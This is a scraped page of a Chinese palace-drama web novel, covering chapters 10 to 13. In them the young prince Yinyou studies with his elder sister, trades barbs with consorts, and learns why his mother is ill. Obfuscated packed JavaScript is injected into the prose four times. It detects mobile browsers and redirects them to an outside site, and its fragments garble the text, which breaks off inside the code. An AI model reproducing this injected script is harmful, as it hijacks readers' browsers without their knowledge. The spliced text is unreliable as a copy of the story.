“七弟,德妃娘娘今儿个气色怎么样?”四阿哥拉着胤祐到一旁,低声问道。 胤祐原以为四阿哥要问什么要紧的事,不想却是这个,他歪着脑袋想了想,“德妃娘娘气色很好,有些丰腴,像是胖了。” “不是胖,是额娘有孕在身。” 四阿哥松了口气,对胤祐更正道。 胤祐哦了一声,“怪不得呢,我瞧着德妃娘娘坐着的时候腰身好像有些不舒服,原来如此。” “她——不舒服?” 四阿哥一怔,眉头皱起,低声嘀咕那些伺候的怎么当差的,胤祐只当没听见,点点头道:“是啊,德妃娘娘送了我这颗藤球,我打算回头拜托额娘给德妃娘娘做个靠枕,也算是我们一点儿心意。” 听见这话,四阿哥眉眼露出些思索神色。 他张了张嘴,似乎有事想拜托胤祐帮忙,但又一时不好开口,胤祐体贴地说道:“四哥要是有什么要送给德妃娘娘的,不如一起送过来,你们功课忙,弟弟是个没事人,帮您捎带过去就是了。” “那就麻烦你了。”四阿哥喜出望外,拍了下胤祐的肩膀,“回头我会找你的,对了,你额头上的伤不要紧吧?” “不要紧,一点儿小伤口,没几天就好了。”胤祐摸摸额头上的口子,说道。 四阿哥看了一眼,唔了一声,眉头微皱:“还是得小心点儿,安氏的事,我也听说了,宫里头那些捧高踩低的小人多的是,若是有人欺负你,你只管来找我。” 胤祐心里错愕,可定睛一瞧,四阿哥满眼真诚,不禁有些自惭形秽,四阿哥倒真是个热心人。 “我记住了,四哥,时辰也不早了,您不还得回上书房吗?” 胤祐提醒道。 四阿哥这才意识到这点儿,掏出怀表一看,脸色微变,匆匆跟过来的戴贵人行了礼,拉着苏培盛等人跑回去了。 戴贵人瞧着四阿哥神色匆匆的背影,纳闷道:“四阿哥刚才跟你说什么呢?这会子又怎么跑了?” “额娘,”胤祐可不想跟戴贵人提什么逃课的事,他看得出来,戴贵人这人心里搁不住事,这点儿小事在他看来没什么,保不齐在戴贵人看来便是天大的事,便岔开话题道:“我瞧四哥长得可真高,也不知道我什么时候能跟四哥一样高。” “你想长高,回头可得多吃饭才行。” 戴贵人果然被转移了注意力,笑着跟儿子商量起了晌午吃什么才好。 要说胤祐在这大清朝最不适应的就是一日两顿了。 他习惯一日三餐,到了晌午便想吃东西,得亏是碰上戴贵人这等疼儿子的,也纵容着他。 得了二格格送的千字文,胤祐总算有新的书可以看了。 但新的问题来了,胤祐的启蒙是戴贵人带的,戴贵人教教三字经还行,千字文就有些难度了,尤其是胤祐并不是囫囵吞枣的性子,他喜欢了解意思,尤其是那些典故,把意思弄得明明白白,他才觉得这是记住了。 但戴贵人不过是略读过几个字,哪里能给儿子解释的这么清楚。 她懊悔道:“也是额娘没用,平安,不如让李嬷嬷她们来教你,怎么样?” 李嬷嬷这几位是胤祐的乳保,满人重视乳保,像康熙的奶娘孙氏就因为曾经伺候过当今圣上,因此婆家都鸡犬升天,亲儿子曹寅更是如今成了康熙的侍读。 按理说李嬷嬷这几位乳保应该贴身照顾胤祐才是,但因为胤祐生下来就不得皇上喜爱,戴贵人又娘家势弱,这几位嬷嬷便不把戴贵人母子放在眼里,成日里不过是在宫里头应个卯,略做一会儿就回家去了。 这几日,估计是瞧着皇上跟后宫主子们颇为照顾七阿哥,李嬷嬷等人倒是难得露了好几回脸。 “额娘,不用她们。” 胤祐可不想这么快就给李嬷嬷她们好脸色,何况古人重师生名分,倘若叫李嬷嬷她们来给他上课,回头岂不是更多了一层架子。 他突然道:“不如我去问二姐姐吧,这书是二姐姐抄写的,她肯定比咱们都清楚。” “这方便吗?咱们跟二格格也不怎么熟。” 戴贵人有些意动,但又怕打扰二格格。 胤祐却是个厚脸皮的,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12967418|136876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么不熟,我跟二姐姐是姐弟,况且,不熟才更要多走动,额娘若是不好意思,不如叫人准备一两样点心,咱们带过去,顺便请教下功课。” 他上辈子就知道一个道理,地位不如人的时候,放下身段求人帮忙并没什么大不了的,成日里摆着身段,顾及什么脸面,那才是死要面子活受罪。 戴贵人为了儿子功课着想,便豁出去了,拿了钱让希芸姑姑托御膳房做了几样精致的点心,随后便带着儿子登门拜访。 荣妃诧异不已,在得知七阿哥跟戴贵人的目的后,心里倒是受用,对滴云道:“去请二格格过来,就说戴贵人跟七阿哥来了。” 二格格并不用上课,听说七阿哥过来,便换了身衣裳来做客。 胤祐给二格格行了礼,不好意思地红着脸道:“二姐姐,胤祐来是想请教您一些功课上的事,姐姐的字写的很好,可胤祐好些都不认得,也不知道什么意思。” “哪些字,你拿过来我瞧瞧。” 二格格热心肠地问道。 胤祐便拿出二格格送的书跟自己抄写下来的句子,“是这句闰馀成岁,律吕调阳 【1】,我问了额娘,额娘也说不懂。” 戴贵人怪不好意思,红着脸道:“我学问不多,不过认得几个字,这句话字字都认识,却不解其意,还得麻烦格格帮忙教教七阿哥,也不知打搅不打搅?” “是啊,二姐姐,我们会不会麻烦您啊?” 胤祐紧张地握着书,忐忑地看着二格格。 二格格爽朗地摸了摸胤祐的脸蛋,“麻烦什么,我左右无事,你们过来也不打搅,闰馀成岁是语出《尚书?尧典》,有曰:"以闰月定四时成岁……【2】” 二格格的学问果然扎实。 戴贵人苦恼了半天想不明白的一句话,她三两下就解释的清清楚楚。 戴贵人抚掌,赞叹道:“怪不得闰年里头十三个月呢,而且是四年一次,原来是前头每一年都多出十一天来,最后凑到一起成了闰月。” “戴贵人聪明,一下就明白了。” 二格格有些惊讶地说道。 戴贵人忙道:“哪里是我聪明,是格格你教得好,格格你这学问真是没的说,要是个男孩,搞不好能考状元呢!” 她说得真诚,脸上又满是佩服神色。 别说二格格受用,就是荣妃,也被哄得脸上带出笑容,叫人去沏茶,对戴贵人道:“你快别夸她了,她啊成日里抱着书读,还为了书跟她弟弟天天吵架,我这个当额娘的都操心死了。” “娘娘操心什么,七阿哥要是能学得跟二格格学问一样好,嫔妾做梦都能笑醒。”戴贵人不解地说道。 这一句话更是让荣妃开心。 荣妃索性直接道:“摆一张书桌过来,让格格好生教导七阿哥。” 胤祐就这么顺理成章地蹭下了二格格课程。 二格格也的确学问极好,光是闰馀成岁,律吕调阳这一句话,她就给胤祐上了三天的课程。 从尚书说到论语,再说到礼记,原是抱着跟二格格母女搞好关系的胤祐,也不禁有些佩服二格格的学问。 11. 绿茶的第十一天 为了表示自己这个徒弟学得用心,胤祐写了一篇小文章让小邢子给二格格送过去。 二格格拿到手后,起初不以为意,毕竟七阿哥才五岁大,何况才正经学了几日,能学了多少? 可拿过文章后,仔细瞧了瞧,却不禁咦了一声。 三阿哥这日下午不必上课,便回了承乾宫,见亲姐捧着一张纸在那里瞧,忍不住上去撩闲:“姐,你这瞧什么呢?嚯,这谁的字啊,有够难看的。” 二格格护犊子,白了三阿哥一眼,将那张纸合上,“跟你什么干系啊,我瞧着写的挺好的,七弟虽然读书的晚,可这学的可不慢,总比某些人好。” 这说的某些人不必说,自然是三阿哥了。 三阿哥摸摸鼻子,知道二格格还为孤本的事生气,心里虽然有分寸,但还是忍不住道:“这也叫好,姐,您这眼珠子近日来怕是瞧东西瞧的不真切吧,这字都跟狗爬似的,我身边的小梁子都写的比这好。” 小梁子无故被牵扯进来,只能尴尬一笑。 二格格却是没好气地瞪了三阿哥一眼,“你起开,不喜欢看别看。” “我不,我就偏看!”三阿哥这人也是欠,明知道三格格脾气,还特地凑过去。 姐弟俩眼瞅着又要吵起来了。 外面有人走了进来,问道:“你们在吵什么呢?” “皇阿玛?!”二格格眼见得是康熙过来,喜出望外,忙上去行礼,“给皇阿玛请安,给额娘请安,皇阿玛,您怎么过来了?” “朕在御花园碰见你额娘,便顺路过来喝杯茶,”康熙见二格格手里握着张纸,不由得好奇地问了一句:“你们俩今儿个又是怎么了?和慧你手里拿的是什么?” 二格格先虚扶着康熙在首位上坐下,闻言直接道:“皇阿玛您来的正好,胤祉又来气我了,今儿个七弟写了篇文章送过来,我这边正瞧着,他非说人家写的不好看,我看,七弟写的可比三弟小时候的好看多了!” 她说着,将纸递给康熙。 荣妃在一旁,不由得无奈,瞪了胤祉一眼,“你这张嘴,管不住还是怎的?一回来就跟你姐吵架,适才在外头,我跟你们皇阿玛还以为屋里是养了一群八哥呢,不然能这么吵闹?” 康熙莞尔,边接过纸边道:“荣妃,你对孩子也苛刻了些,孩子亲才会吵,像朕跟裕亲王、恭亲王以前小的时候也是经常吵嘴,越吵越亲。” “就是,还是皇阿玛体贴儿臣的心意。” 三阿哥立刻顺着杆子爬:“儿臣好不容易下午不必上课,想回来陪陪姐姐,额娘,谁知道姐姐竟不领情。” 二格格好气又好笑,介于皇阿玛在这里,只能哼了一声:“我领情,你倒是把我那本孤本还回来啊!” 三阿哥咳嗽一声,“姐姐,下次回来我一定还,一定还。” 康熙听着姐弟俩又要吵起来,不由得觉得可乐,又怕这姐弟俩拉他主持公道,索性低头看胤祐写的那篇文章。 那篇小文章其实是胤祐把这几日上课的内容整理了一下,文字朴实无华,难得的是条理写的很是清楚,“这是七阿哥写的?” 康熙抬头看向二格格。 二格格点头,与有荣焉地说道:“是啊,皇阿玛,七弟这几日过来请教儿臣功课,想不到记得这么清楚,儿臣觉得实在难得。” “是不错。” 康熙颔首之余,又仔细看了一遍,心里微微点头。 荣妃、三阿哥等人都不敢惊扰皇帝。 荣妃心里有些泛酸,这七阿哥运气倒是好,能得皇上这一句夸赞。 她才有些吃醋,就听得康熙道:“和慧你也很不错,友爱弟弟,朕很欣慰。” “皇阿玛,儿臣没想这么多。” 二格格脸红扑扑的,高兴地起身行礼:“儿臣作为姐姐,本就该多照拂下面的弟弟妹妹。” “是这个道理,姐妹兄弟之间本就该如此。”康熙微微点头,对梁九功道:“朕书房里有一方松花江石云池圆砚,你去取了来给二格格。” “多谢皇阿玛赏赐。”二格格喜出望外,乐滋滋地蹲了个福,她喜好诗书,最爱的就是收藏文房四宝,这松花江石做的砚台她一直想收藏一方,只可惜没有机会。 今儿个皇阿玛赏赐,无疑是圆了她的一个心愿。 三阿哥在一旁,忍不住羡慕,只能眼巴巴地看向康熙。 康熙只做没瞧见,等梁九功取了砚台回来,二格格便坐不住,拿到砚台就起身告辞。 三阿哥忙道:“姐姐,我去给您磨墨去。” “少来,我这砚台不许你碰。”二格格嫌弃地说道,姐弟俩吵着嘴离开。 荣妃只好无奈道:“这俩孩子让臣妾惯坏了,皇上别见怪。” 康熙扬了扬手,“和慧跟胤祉感情好,朕知道的,只是朕没想到和慧跟胤祐感情也不错。” “和慧的心软又热心肠,见七阿哥苦于求学,便于心不忍。” 荣妃亲自捧过茶盏递给康熙,“臣妾也怕她辛苦,可见她跟七阿哥彼此教学相长,自从七阿哥过来请教,和慧也开朗了不少,不至于跟先前一样常常独自闷着。” “这倒是两全其美。” 康熙接过茶盏,握住荣妃的手,“常言道,有其子必有其母,朕素日都知道,你是个好的。” 荣妃低头,耳根微红。 当夜,康熙在承乾宫歇息,后宫不知有多少妃嫔暗暗咬碎一口银牙。 次日,众妃嫔去给贵妃请安的时候。 宜妃就忍不住道:“荣妃姐姐可真是能耐,听说昨儿个下午皇上特地赏了二格格一方砚台呢,四格格听了羡慕不行,还说要学她姐姐,臣妾可跟她说要学二姐姐可以,可臣妾却做不到大下午的跑御花园去偶遇皇上。” 荣妃丝毫不恼,反而微笑道:“宜妹妹莫要谦逊,妹妹宫里的小厨房隔三差五地给乾清宫送汤水点心,不如下回顺便送送四格格的墨宝就是了,想来皇上也定会大开眼界。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12967419|136876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 四格格并非宜妃所生,乃是她庶姐生下的孩子,养在宜妃名下,今年七八岁,但寡言少语,很是木讷,念书更是不开窍。 听得荣妃这番话,宜妃姐妹登时气恼不已。 尤其是郭贵人,脸色都黑了。 “好了,你们都少说几句,今儿个让你们过来是商量颁金节的事,”钮钴禄贵妃不耐烦,直接打断话,道:“宫宴家宴菜色的事由惠妃负责,歌舞乐曲宜妃你拿主意,眼下又要转凉了,德妃如今有孕在身,荣妃妹妹便多上点心,宫里头冬服跟各宫炭火份例的事由你负责。” “是。”众妃嫔起身答应。 荣妃今儿个可算是扬眉吐气。 自从五月份里头宜妃生了十一阿哥,这宫里头她便成了蝎子粑粑——独一份了。 毕竟,五阿哥,九阿哥跟十一阿哥,旁人膝下空虚,一儿半女都没有,她却有三个阿哥,这岂能不叫人羡慕嫉妒恨。 连同皇上,皇贵妃,也因此对宜妃颇多重视。 内务府送去咸福宫的东西,更是仅此于长春宫。 荣妃这个老人被踩在底下,心里头怎能服气。 得亏二格格争气,今日算是扳回一局。 “娘娘,奴才瞧着宜妃跟郭贵人今儿个那脸色,都忍不住想笑,他们的四格格怎能跟咱们二格格比较。” 滴月对荣妃奉承道。 荣妃懒怠地换了家常绣花鞋,道:“这回也是宜妃自找没趣,本宫的闺女就是争气,她们羡慕去吧,有能耐也教一个才女出来。” “可不是,不说格格,咱们三阿哥也是聪慧极了,在书房的功课,哪个先生不夸奖。” 滴云深知荣妃心肝肉是三阿哥,便特特地拿三阿哥来说话。 果然,荣妃脸上笑容越发灿烂,“三阿哥这孩子是真争气,就是有时候说话太直了些,闹得有些小人心里头芥蒂。” 她说的这小人不是旁人,自然是大阿哥等兄弟。 三阿哥在上书房算是独狼一个,跟谁都不怎么亲。 荣妃往日没少担心,虽然嘴上安慰说是因为三阿哥功课太好,压过了兄弟们,但心里未尝不知道长此以往未必是好事。 今儿个想起宜妃三个儿子,更是不免忧心忡忡。 常言道,一个好汉三个帮,自己就这么个儿子立住了,怎能不希望儿子将来平步青云,被皇上重视呢。 想到这里,荣妃脑子里突然闪过一个念头。 她倏然坐起身来,对滴云道:“拿本宫的帖子,去请戴贵人母子俩明日来做客吃茶。” 滴云愣了愣,答应一声。 荣妃心里激动。 她怎么没想到呢,七阿哥母子俩这是多合适的帮手。 七阿哥身有残缺,注定跟大位无望,瞧着又是个懂事的,倘若能跟三阿哥走得近,将来少不得能帮三阿哥不少忙。 就算帮不了忙也没什么,兄弟俩亲近亲近,也能让三阿哥落下一个友爱兄弟的好名声! 12.绿茶的第十二天 “今儿个叫你来呢,不是为旁的事,前些日子你送的络子极好,二格格爱的跟什么似的,偏生本宫手笨,做不了这些精细活,” 荣妃一扬下巴,滴云捧着一匣子丝线上前来,里面除了丝线还有些珊瑚珠子,珍珠:“不知戴贵人愿不愿意帮忙,做些活计?” 戴贵人先是一惊,随后忙起身,“娘娘客气了,嫔妾这点儿手艺娘娘能看得上眼,那是奴才的福气。” 希芸姑姑上去接过匣子,心里头既惊又喜。 荣妃抿着唇笑了下,“你瞧你,跟本宫还这么见外做什么,快坐下,吃茶吃茶。” “是。”戴贵人捧起茶来,喝的食不知味。 她这会子颇有一种被天上掉下来的馅饼砸的找不着北的错觉。 倘若不是这会子在翊坤宫里,戴贵人都想掐一把自己的大腿,看看这是不是在做梦了。 “荣妃娘娘,二姐姐这会子不在吗?”胤祐抱着杯子喝了口茶,左右看了看,问道。 荣妃笑道:“你二姐姐这会子去文渊阁借书去了,你要是想见她,可得明儿个再来,不过若是你功课上有什么难题,倒不如去乾西五所问问问你三哥。” 三阿哥? 胤祐心里诧异了下。 他可跟三阿哥没什么交情,听说三阿哥的脾气挺目中无人的,说是恃才傲物也毫不过分。 “那这样不会打扰三哥读书吗?” 戴贵人忙放下杯子,“是啊,三阿哥成日里要读书练骑射,胤祐哪里好意思去打扰。” “不妨事不妨事。”荣妃笑着摆手:“你三哥是最好脾气的,尤其是对你们这些小弟弟很是疼爱,你没事多去找他,明年胤祐你也得去上书房念书,如今先多走动走动,回头去了也有个照应啊,你说,是不是戴贵人?” 荣妃看向戴贵人。 戴贵人一听这话,不免有些心动,心里感激,起身道:“多谢荣妃娘娘为七阿哥想的这么周到,嫔妾不瞒着您,嫔妾就这么一个七阿哥,七阿哥性子又软,一直担心七阿哥去了那边没人照应,如今有您这句话,嫔妾心里可算放心了。” “好说好说。”荣妃见戴贵人这般感激,心里很是受用,还嘱咐了戴贵人没事多过来坐坐。 纵然这番话不过是客套话,但也是荣妃抛出来的善意。 戴贵人心里高兴,跟胤祐出来的时候,一路忍不住对他道:“平安,荣妃娘娘真是细心热情,往常我还以为荣妃娘娘不好接近,如今看来,是我想错她了。” 胤祐本来在想三阿哥的事,听到戴贵人这番话,唇角微微抽搐。 不,亲娘,你没想错荣妃娘娘。 荣妃娘娘的确不好接近,他们先前去见荣妃的时候,荣妃可是没个好脸色。 今儿个突然态度来个一百八十度转变,只怕是为了三阿哥。 “现在好了,回头你去乾西五所那边,有三阿哥护着,下面的人便不会欺负你了。”戴贵人眼睛满是喜悦地看向胤祐,伸出手摸了摸他的头。 她的手柔软温暖,上面的茧子很是清晰。 胤祐一怔,心里头不由得酸涩,握住戴贵人的手:“是啊,额娘,我一定会跟三哥好好相处的。” 三阿哥不就是脾气臭吗? 为了让戴贵人心安,自己努力一把就是了。 横竖那就是个十来岁的孩子,大不了自己顺毛摸就是了。 “哟,这不是戴贵人跟七阿哥吗?” 戴贵人一行人抬头看去,只见前面甬道上迎面而来的是惠妃的辇子,旁边卫常在跟八阿哥随行。 戴贵人眼皮一抖,垂下眼皮,跟胤祐一同屈膝行礼,“嫔妾/儿臣给惠妃娘娘请安,惠妃娘娘金安。” 卫氏侧身给戴贵人行了礼,脸上带着恬淡的笑容,“戴姐姐这来的方向像是从翊坤宫里刚出来,怎么,今儿个是去跟荣妃娘娘说话吗?” “是,”惠妃没叫起,戴贵人不敢起身,只好握紧手撑着身子,“荣妃娘娘托嫔妾做一些针线活。” 惠妃坐在辇子上,戴着累丝嵌珠石指甲套的手指拂过扶手,搭在脸侧,居高临下地俯视着戴贵人,眼神上下打量,“戴贵人倒是很会钻营吗,不怪荣妃赏识,这等奉承屈节的手段也使得出来。” 戴贵人脸色一阵青一阵白。 她嘴唇颤抖,眼眶泛红,却不敢说什么。 胤祐瞧见额娘这般模样,心里头针刺似的痛,戴贵人是奉承钻营了又怎样,她难道是自甘下贱,还不是为了自己?! “惠妃娘娘,做针线活就是奉承屈节吗?”他索性站起身来,歪着脑袋不解地问道:“那娘娘先前不是给皇阿玛,皇贵妃也做过针线活,难道也是奉承屈节?” 他又看向卫常在,道:“卫常在难道不曾给惠妃娘娘做过什么活计吗?这也是钻营不成?” 卫常在跟惠妃脸色都骤变。 卫常在是羞恼。 惠妃是恼怒,她坐直了身子,冷冷地看着胤祐,“七阿哥你好伶牙俐齿,只是本宫不知谁教你的规矩顶撞庶母!难道是戴贵人教出来的孝道?” “惠妃娘娘,胤祐年幼不懂事,您甭跟他计较。” 戴贵人手掌心里都是冷汗,不孝罪名何其严重,但凡被惠妃扣上这罪名,只怕七阿哥日后永无出头之日。 她拉过胤祐,对胤祐道:“胤祐,快给惠妃娘娘赔礼道歉!” 胤祐一脸不解:“儿臣哪里错了,儿臣说的话不过是惠妃娘娘刚才自己说的。” 他扬起头看了看惠妃娘娘,“请惠妃娘娘指出儿臣错在何处,不然儿臣实在不明白,只能回头请教皇上,皇贵妃,荣妃娘娘。” “你——” 惠妃震怒地看向胤祐,声音甚至气到发抖。 她心里也有些错愕,七阿哥不是一向胆小怕事,怎么今日却是这般伶牙俐齿,胆大妄为! 卫常在见情况不妙,便笑着出来说道:“七阿哥,惠妃娘娘是心疼戴姐姐,戴姐姐要照顾七阿哥,又要做针线活,岂不辛苦,你们啊是误会惠妃娘娘了。” 她冲惠妃使了个眼神。 若是以往,想拿捏七阿哥跟戴贵人,不过是一句话的事。 可眼下皇上似乎有些在乎七阿哥,荣妃又跟他们走得近,与其叫荣妃逮住机会,跑到皇上跟前告一状,倒不如多一事不如少一事。 惠妃也知道大体,便压着火气,淡淡点了下头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971748|136876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“本宫可是一番好意,你们可别错怪好人了。” “原是如此,那儿臣跟额娘便跟娘娘您赔个不是,是我们误会了,还以为惠妃娘娘是为难我们呢,额娘,您快起来,您这不起来,人家又要误会惠妃娘娘刁难您了。” 胤祐干脆利落地就顺着台阶下了,上前搀扶起戴贵人,小嘴叭叭的格外爽利。 戴贵人还没反应过来,人就被胤祐拉起来了。 惠妃眼眸微沉,卫常在怕再生出事端,便道:“娘娘,咱们该去启祥宫了,僖嫔可等着咱们呢。” “走吧。”惠妃点点头。 “恭送惠妃娘娘。” 戴贵人跟胤祐让出路来,胤祐避让到一旁去,察觉到有人瞧着自己,抬头瞧去,正是卫常在身旁的八阿哥。 八阿哥抿着嘴,看着他,眼神里头都是不满。 “平安,咱们快些回去吧,别路上又生出事端。” 戴贵人显然是吓坏了,捂着胸口,拉着胤祐就要往回走。 待到回去后,更是脸色苍白,呼吸急促,浑身汗如雨下。 胤祐吓了一跳,“额娘这是怎么了,小邢子,快去传太医!” “不用,不用请太医。”戴贵人躺在床上,手捂着心口,面上毫无血色,冲希芸姑姑道:“拿,拿药来我吃了就好了。” 希芸姑姑哎了一声,赶紧去柜子那边拿了一瓶药出来,又端了温水伺候戴贵人服下。 戴贵人吃了药,过了一会儿,呼吸这才慢慢平稳了下来。 胤祐在旁边大气都不敢出一声。 等戴贵人闭上眼睛养神,希芸姑姑等人出来,他才拉过希芸姑姑,低声问道:“额娘这是什么毛病?吃的又是什么药?” 希芸姑姑收拾着东西,叹了口气,“是月子里落下来的毛病,心惊心慌,一碰到大事就喘不过气,浑身发抖,药是太医院那边开的安神定惊的药。” “这月子里怎会坐下这样的病?”胤祐瞪大眼睛,不解地看着希芸姑姑。 希芸姑姑回过神,拍了下嘴巴,“哎呦,奴才这张嘴,爷这不是您该听的话,这都是女人家的事。” 胤祐知道这年头的人封建保守的厉害,女人的事一概不许男人知道,也不许打听,很多男人都是成婚之后才知道些大概。 但这可是自己亲额娘,何况戴贵人这毛病显然没这么简单。 他上辈子虽然没结婚生孩子,却也知道些事,这坐月子可坐不出这样的毛病出来。 “姑姑,您就告诉我吧,我保证不跟别人讲。” 胤祐拉着希芸姑姑的袖子,晃着袖子撒娇道:“我看额娘那个模样,心里实在担心害怕,我就额娘一个亲人,要是额娘有什么事,我可怎么活!” “爷,您这话也敢说!” 希芸姑姑吓得赶紧捂住胤祐的嘴巴,往外头看了看,得亏是没人,她这才稍微松了口气。 胤祐眨眨眼,浓密的睫毛下一双眼睛楚楚可怜,“姑姑,您就告诉我吧,告诉我吧。” 希芸姑姑试图坚定自己的立场。 奈何七阿哥那表情实在招人疼,便忍不住心软,“好吧,奴才告诉您,但您可千万别告诉别人。” 13.绿茶的第十三天 希芸姑姑叹了口气:“这是阿哥出生那年的事,这件事说起来也是造孽,当初明明小主怀着阿哥的时候,脉象一直很平稳,太医还说了这胎肯定能平安生下个阿哥。” 她顿了顿,“谁知赶上贵人怀胎七八个月份的时候,卫常在有了身子,又怀相不好。” “然后呢?”胤祐不解地问道:“卫常在怀相不好,跟额娘有什么干系?” 希芸姑姑苦笑道:“宫里头有本事的太医不多,因着卫常在怀相不好,吃不下不说,也睡不好,惠妃娘娘就求说让照看娘娘的太医过去照看卫常在,咱们小主又是个心善的,便松口答应,可太医署那边却派来个二把刀的太医,开错了药,害得小主提前生下阿哥你不说,还,还导致您出生的时候身有残缺。” 说到这里,希芸姑姑咬着牙管,恨恨地说道:“那太医倒是跑得快,小主生您的第二天他就跑了,可小主跟阿哥您却被害惨了,皇上,太皇太后,皇太后得知小主生的阿哥您有毛病,加上外头有人造谣说阿哥您八字不好,冲撞了皇上,因此,月子里,便有人说皇上跟太皇太后想赐死阿哥您。” 赐死?! 胤祐脸上表情一片空白,脑子里嗡地一下。 他知道宫里头残酷,却不想残酷到这等程度。 “可,可我是皇阿玛的亲儿子啊!”他难以置信地说道。 希芸姑姑心疼地看着胤祐:“阿哥,都过去了,如今皇上喜欢您,像这种事肯定不会再发生了。” 若是胤祐真是五六岁的孩子,那肯定就被希芸姑姑这番话给糊弄过去了。 但他骨子里是个成年人,哪里听不出希芸的意思。 康熙现在是不想弄死他了,但这潜台词就是在他刚出生的时候,康熙,太皇太后他们肯定有过这个念头。 怪不得戴贵人吓出了这么个毛病出来,连他想想都觉得骇人听闻,戴贵人当初生下儿子,受了委屈不说还得提心吊胆怕皇上真的要她儿子的命,她没吓疯了已经是精神强大了。 “希芸姑姑,那那个太医呢,这么些年没抓到人吗?” 胤祐知道希芸姑姑不想就着这个话题说下去,便体贴地转移开话茬。 希芸咬牙点头:“可不是,要是能抓到这个人,至少也能证明小主跟阿哥您是被奸人所害,宫里头那些传您生辰八字不好的谣言自然不攻而破!” “姑姑,等我将来,一定想办法抓住这个人!” 胤祐咬牙切齿地说道。 希芸姑姑脸上露出欣慰神色,才要说什么,外面小邢子从帘子外钻进来,“爷,四阿哥派人送东西过来了。” 来的人是苏培盛。 他带来了一份文房四宝,只瞧着样式就知道,一件件都是好的。 “四哥怎么送这么些东西来?”胤祐嘴巴微张,“不行,苏培盛,你快拿回去。” 苏培盛笑道:“七阿哥,我们爷送人的东西从没有拿回去的道理,何况我们爷说了,七爷您明年就要去上书房,如今也该有些文房四宝好练练字,这里还有我们爷用的一沓字帖,您看着要是合适就先对着练练也好。” 胤祐上前接过四阿哥送来的字帖,字帖是王羲之的心经,有描红也有双钩。 胤祐心里不由得感叹,四阿哥这人实在太细心了吧,一般人能送文房四宝来已算有心,他还考虑到小孩子初学写字,送了描红跟双钩字帖。 这份心思,实在难得。 “苏培盛,四哥对我实在是没的说,不知道四哥这会子可在不在,我想亲自去答谢四哥。” 胤祐将字帖抱在怀里,眼睛亮晶晶地看向苏培盛。 苏培盛诧异了下,“七阿哥有心了,但……” 他想婉拒,奈何胤祐却不是个好说话的,直接道:“送给德妃娘娘的东西,我也得跟四哥问清楚才好,况且,万一四哥有什么话想让我托给德妃娘娘呢。” 苏培盛有些犹豫了,想了想,点了下头,“那您跟奴才走吧,不过四阿哥功课繁忙,您多体谅。” 胤祐想也不想就点头答应,跟希芸姑姑说了一声,带着小邢子跟苏培盛过去乾西五所。 四阿哥住的是西三所,院子两进,颇为宽敞。 胤祐进去的时候,就听得书房里传来读书声,“有子曰:“信近于义,言可复也。恭近于礼,远耻辱也。因不失其亲,亦可宗也。”【1】” 书声朗朗清脆,苏培盛进去通传后,念书声停了下来,紧接着四阿哥亲自出来,见胤祐过来,脸上露出惊讶神色,快步走过来迎接:“七弟,你怎么过来了?” 胤祐笑道:“四哥,您送给我的字帖我喜欢的不行,想前来道谢,不知道可打扰了四哥读书没有?” “没有,你来的倒是时候,苏培盛上茶。”胤禛吩咐完后,拉着胤祐进屋里坐,“我才念完第一百二十遍,正要休息。” “一百二十遍?!” 胤祐嘴巴微张,小短腿要爬上炕上有些困难,旁边小邢子待要搀扶阿哥上去,四阿哥已经伸了一把手将七弟拉上炕,“是啊,上书房的规矩是如此,先生交代下来的功课要背诵一百二十遍方可过关。” “……”胤祐顿时不知该说什么才好了。 他只能清清嗓子,“四哥的功课一定是上书房最好的吧。” 苏培盛端上茶点来,胤祐随口道了谢,引得苏培盛诧异地看了他一眼,笑了下道了声阿哥客气。 四阿哥摇头叹气道:“功课最好的是太子跟三哥,我不如他们。” 亲娘咧。 胤祐本来是过来跟四阿哥拉拉家常,亲近亲近的,可听见这番话时,脑子的神经顿时绷紧了。 他虽然芯子是个成年人,可四书五经什么的可从来没学过,他上辈子学得是国际贸易,原来是打算回家接受老头的生意,结果不想马失前蹄,被人暗算。 这上辈子学得东西目前是派不上用场,胤祐是做好了去上书房的时候吃一番苦头力争上游的准备。 可谁想到,兄弟们这么卷?! “四哥别灰心,你的功课不如他们,但骑射应该比别的哥哥们强吧。”胤祐见胤禛脸上露出沮丧神色,忙开口安慰道。 胤禛听见这话,脸上神色更加沮丧。 胤祐觑着他的脸色,迟疑道:“骑射、也不行吗?” 苏培盛小声提醒道:“我们爷现在还没拉开弓。” “咳咳咳! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 